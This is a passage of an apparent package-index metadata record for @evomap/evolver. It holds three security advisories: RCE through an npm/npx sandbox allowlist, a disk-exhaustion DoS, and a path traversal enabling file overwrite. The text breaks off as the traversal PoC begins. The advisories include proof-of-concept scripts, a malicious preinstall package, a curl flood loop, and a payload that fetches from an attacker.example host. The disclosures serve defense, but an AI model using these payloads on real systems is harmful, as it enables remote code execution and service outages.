repositories/EvoMap%2Fevolver/tags/v1.4.3/manifests"},{"name":"v1.4.1","sha":"ac9e28b87c7d23db22b28fd9b48e4b3baac4cdcd","kind":"tag","published_at":"2026-02-05T21:48:33.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.4.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.1/manifests"},{"name":"v1.4.2","sha":"ac9e28b87c7d23db22b28fd9b48e4b3baac4cdcd","kind":"commit","published_at":"2026-02-05T21:48:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.4.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.2/manifests"},{"name":"v1.3.1","sha":"f1963e15b02c32145479e3de865de7545c1432b3","kind":"tag","published_at":"2026-02-05T20:33:47.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.3.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.3.1/manifests"},{"name":"v1.4.0","sha":"f1963e15b02c32145479e3de865de7545c1432b3","kind":"commit","published_at":"2026-02-05T20:33:37.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.4.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"2cf43b8dabfeb5d01108caa1f1fba2e39741b2d0","kind":"tag","published_at":"2026-02-05T20:30:25.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.3.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"c07b1f901c3929bcb8ae72513b6de4f7f68aeae4","kind":"tag","published_at":"2026-02-05T19:02:48.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.2.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"501b3b24637c25e03bb73ac2090d1609ea47a8f3","kind":"tag","published_at":"2026-02-03T21:53:41.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.1.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.1.0/manifests"},{"name":"v1.0.40","sha":"98b26753970eac63bff890b86e4bffd8b5883b42","kind":"commit","published_at":"2026-02-03T16:50:08.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.0.40","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.40/manifests"},{"name":"v1.0.39","sha":"442028a53ed95e7a8abd7f926906927b82f7d263","kind":"commit","published_at":"2026-02-03T16:28:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.0.39","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.39/manifests"},{"name":"v1.0.37","sha":"ae8edc849774b58b0d177697eb72244088bb9b78","kind":"commit","published_at":"2026-02-03T04:42:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.0.37","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.37/manifests"},{"name":"v1.0.36","sha":"783097e26df691937b655faeef05fbee2014471c","kind":"commit","published_at":"2026-02-03T04:21:08.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.0.36","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.36/manifests"},{"name":"v1.0.29","sha":"7b3297afafd62c2c3ac036e74b9b8cd5940a57d9","kind":"tag","published_at":"2026-02-02T00:08:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.0.29","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.0.29/manifests"}]},"repo_metadata_updated_at":"2026-05-28T04:53:58.957Z","dependent_packages_count":0,"downloads":10042,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":13.262554368660368,"dependent_repos_count":22.512631796629087,"dependent_packages_count":32.43474361860437,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":22.736643261297942},"purl":"pkg:npm/%40evomap/evolver","advisories":[{"uuid":"GSA_kwCzR0hTQS1qeGg4LWpoNzcteGg2Z84ABWNN","url":"https://github.com/advisories/GHSA-jxh8-jh77-xh6g","title":"@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts","description":"## Summary\n\nThe validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install \u003cpkg\u003e` and `npx -y -p \u003cpkg\u003e \u003cbin\u003e` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).\n\n## Details\n\nEnd-to-end chain:\n\n1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `\u003chub\u003e/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`.\n\n2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *\"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed().\"*\n\n3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`:\n\n   ```js\n   // sandboxExecutor.js:35\n   const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);\n   ```\n\n   `parseCommand` only rejects shell metacharacters (`| \u0026 ; \u003e \u003c \\` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`.\n\n4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables:\n\n   ```js\n   function assertNodeCommandSafe(parsed) {\n     if (parsed.executable !== 'node') return;   // npm/npx skip every check\n     ...\n   }\n   ```\n\n   The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations.\n\n5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions.\n\n6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`).\n\nThe \"sandbox\" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.\n\nThe author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise:\n\n\u003e \"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task.\"\n\nPutting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.\n\n## PoC\n\nReproduced against v1.70.0-beta.4 (HEAD on `main`):\n\nStep 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):\n\n```bash\nmkdir -p /tmp/evil-pkg-validator\ncat \u003e /tmp/evil-pkg-validator/package.json \u003c\u003c'EOF'\n{\n  \"name\":\"evil-pkg-validator\",\"version\":\"1.0.0\",\n  \"scripts\":{\n    \"preinstall\":\"node -e \\\"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\\\"\"\n  }\n}\nEOF\n```\n\nStep 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: [\"npm install /tmp/evil-pkg-validator --no-audit --no-fund\"]`:\n\n```bash\nrm -f /tmp/pwned-by-validator-test\nnode -e \"\nconst s = require('./src/gep/validator/sandboxExecutor');\ns.runInSandbox(\n  ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],\n  { cmdTimeoutMs: 60000 }\n).then(o =\u003e {\n  console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);\n  console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));\n});\"\n```\n\nObserved output (verified):\n\n```\noverallOk: true exitCode: 0\nPWNED: RCE uid=0 time=1777213140205\n```\n\nThe sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID.\n\nRemote-only variant (no local file required): a compromised or MITM'd Hub returns:\n\n```json\n{ \"validation_commands\": [\"npm install https://attacker.example/evil.tgz --no-audit --no-fund\"] }\n```\n\nor\n\n```json\n{ \"validation_commands\": [\"npx -y -p evil-pkg@1.0.0 evil-cmd\"] }\n```\n\nBoth pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.\n\n## Impact\n\n- **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).\n- **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.\n- **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.\n- **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.\n- **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.\n\n## Recommended Fix\n\nRemove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node \u003cscript\u003e`:\n\n```js\n// src/gep/validator/sandboxExecutor.js\nconst ALLOWED_EXECUTABLES = new Set(['node']);\n```\n\nIf `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly:\n\n```js\nfunction assertNpmCommandSafe(parsed) {\n  if (parsed.executable !== 'npm' \u0026\u0026 parsed.executable !== 'npx') return;\n  // Block install/exec/run-script that fetch or execute lifecycle scripts.\n  const sub = parsed.args.find((a) =\u003e !a.startsWith('-'));\n  const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);\n  if (FORBIDDEN.has(sub)) {\n    throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub);\n  }\n  // Require --ignore-scripts on every npm invocation as defense-in-depth.\n  if (parsed.executable === 'npm' \u0026\u0026 !parsed.args.includes('--ignore-scripts')) {\n    throw new Error('npm in sandbox requires --ignore-scripts');\n  }\n  // npx always fetches+executes — disallow entirely.\n  if (parsed.executable === 'npx') {\n    throw new Error('npx is not allowed in sandbox');\n  }\n}\n```\n\nAdditionally:\n\n1. **Sign the Hub's `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise.\n2. **Run `runInSandbox` under real isolation** — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The current `buildSandboxEnv` only redirects `HOME`/`TMPDIR`; the spawned process otherwise has full host access.\n3. **Apply `policyCheck.isValidationCommandAllowed()` to Hub-delivered `validation_commands`** in `validateOneTask`, mirroring the gate that already exists for capsule-derived commands in `solidify.js` / `skill2gep.js`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T21:15:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-jxh8-jh77-xh6g","https://github.com/advisories/GHSA-jxh8-jh77-xh6g"],"source_kind":"github","identifiers":["GHSA-jxh8-jh77-xh6g"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T22:00:08.305Z","updated_at":"2026-05-28T19:01:02.195Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeGg4LWpoNzcteGg2Z84ABWNN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qeGg4LWpoNzcteGg2Z84ABWNN","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.70.0-beta.5","vulnerable_version_range":"\u003c= 1.70.0-beta.4"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeGg4LWpoNzcteGg2Z84ABWNN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03eHA3LW0zOTItaDkyY84ABWNM","url":"https://github.com/advisories/GHSA-7xp7-m392-h92c","title":"@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS","description":"## Summary\n\nThe EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body — verbatim and uncapped — as a JSONL line in `\u003cdataDir\u003e/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry — unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const chunks = [];\n    req.on('data', c =\u003e chunks.push(c));\n    req.on('end', () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error('Invalid JSON body')); }\n    });\n    req.on('error', reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route — no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n'POST /asset/submit': async ({ body }) =\u003e {\n  if (!body.assets \u0026\u0026 !body.asset_id) {\n    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: 'asset_submit',\n    payload: body,\n    priority: body.priority || 'normal',\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink — unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + '\\n', 'utf8');\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -\u003e appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, '127.0.0.1', ...)`):\n\n\u003e \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require('http'),fs=require('fs'),os=require('os'),path=require('path');\nconst {MailboxStore}=require('./src/proxy/mailbox/store');\nconst {ProxyHttpServer}=require('./src/proxy/server/http');\nconst {buildRoutes}=require('./src/proxy/server/routes');\n(async()=\u003e{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=\u003e({}),assetSearch:async()=\u003e({}),assetValidate:async()=\u003e({}),atpPost:async()=\u003e({}),atpGet:async()=\u003e({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=\u003e{},error:()=\u003e{},warn:()=\u003e{}}});\n  await srv.start();\n  const send=(mb)=\u003enew Promise((res,rej)=\u003e{\n    const body='{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"'+'A'.repeat(mb*1024*1024)+'\"}]}';\n    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=\u003e{r.resume();r.on('end',res);});\n    req.on('error',rej); req.write(body); req.end();\n  });\n  for(let i=0;i\u003c3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf '{\"assets\":[{\"blob\":\"%s\"}]}' \"$(head -c 10485760 /dev/zero | tr '\\0' A)\" \u003e /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`\u003cdataDir\u003e/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `\u003cdataDir\u003e` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const declared = Number(req.headers['content-length']);\n    if (Number.isFinite(declared) \u0026\u0026 declared \u003e MAX_BODY_BYTES) {\n      const err = new Error('Request body too large');\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on('data', c =\u003e {\n      received += c.length;\n      if (received \u003e MAX_BODY_BYTES) {\n        const err = new Error('Request body too large');\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on('end', () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error('Invalid JSON body')); }\n    });\n    req.on('error', reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T21:15:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c","https://github.com/advisories/GHSA-7xp7-m392-h92c"],"source_kind":"github","identifiers":["GHSA-7xp7-m392-h92c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T22:00:08.305Z","updated_at":"2026-05-28T19:01:02.195Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03eHA3LW0zOTItaDkyY84ABWNM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03eHA3LW0zOTItaDkyY84ABWNM","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.70.0-beta.5","vulnerable_version_range":"\u003c= 1.70.0-beta.4"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03eHA3LW0zOTItaDkyY84ABWNM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmNqLWhxcGYtaGNjZs4ABWNL","url":"https://github.com/advisories/GHSA-cfcj-hqpf-hccf","title":"@evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)","description":"## Summary\n\nThe `evolver fetch` subcommand in `index.js` writes Hub-supplied `bundled_files[]` into a directory derived from a Hub-supplied `skill_id`. When `--out` is not used, the path-sanitizing regex permits `.` characters, allowing a `skill_id` of `..` to escape the `skills/` subdirectory and resolve to the user's current working directory. Combined with the file-extension allow-list (which includes `.js`/`.json`/`.sh`/`.py`/`.md`), this lets a malicious Hub overwrite the victim's `index.js`, `package.json`, or other files in cwd, achieving remote code execution on the next invocation of the evolver.\n\n## Details\n\nThe vulnerable code is in the `fetch` command handler:\n\n```js\n// index.js:847-873\nconst data = await resp.json();\nconst outFlag = args.find(a =\u003e typeof a === 'string' \u0026\u0026 a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\nlet outDir;\nif (outFlag) {\n  const rawOut = outFlag.slice('--out='.length);\n  // ...\n  const resolvedOut = path.resolve(process.cwd(), rawOut);\n  const cwd = path.resolve(process.cwd());\n  const rel = path.relative(cwd, resolvedOut);\n  if (rel.startsWith('..') || path.isAbsolute(rel)) {     // \u003c-- traversal check exists for --out\n    console.error('[fetch] --out= must resolve to a path inside the current working directory');\n    process.exit(1);\n  }\n  outDir = resolvedOut;\n} else {\n  outDir = path.join('.', 'skills', safeId);              // \u003c-- NO traversal check\n}\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n```\n\nThree problems compose:\n\n1. **The regex allow-list permits `.`** — `[^a-zA-Z0-9_\\-\\.]` only strips characters *outside* this set, so the literal dot is preserved. A `skill_id` of `..` (verified: `'..'.replace(/[^a-zA-Z0-9_\\-\\.]/g,'_') === '..'`) survives sanitization.\n2. **`path.join` collapses `..` traversal** — `path.join('.', 'skills', '..')` evaluates to `'.'` (the cwd), so `outDir` is now the user's working directory rather than `./skills/\u003cid\u003e`.\n3. **The traversal validation only runs in the `--out` branch** — the default branch (the documented common case for `evolver fetch --skill \u003cid\u003e`) has no `path.relative(...).startsWith('..')` check.\n\nThe bundled-files write loop:\n\n```js\n// index.js:881-906\nconst ALLOWED_SKILL_EXTENSIONS = new Set([\n  '.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt',\n  '.sh', '.py', '.yml', '.yaml',\n]);\n// ...\nfor (const file of bundled) {\n  if (!file || !file.name || typeof file.content !== 'string') continue;\n  const safeName = path.basename(file.name);                       // basename of \"index.js\" is \"index.js\"\n  const ext = path.extname(safeName).toLowerCase();\n  if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; }\n  if (Buffer.byteLength(file.content, 'utf8') \u003e MAX_SKILL_FILE_BYTES) { /* skip */ continue; }\n  fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8');\n}\n```\n\n`path.basename` strips directory components from the *file name*, but a basename of `index.js` is still `index.js`. The extension allow-list contains `.js`, so an attacker can write `./index.js` (the evolver entry point itself), `./package.json`, `./SKILL.md`, etc.\n\nThere is no signature verification on the Hub response. `buildHubHeaders()` only authenticates the *outgoing* request; the response body is trusted as-is. The Hub stores skills uploaded by network participants, so any participant who can set a stored `skill_id` field to `..` triggers this on every download.\n\n## PoC\n\nReproduces the exact code path from 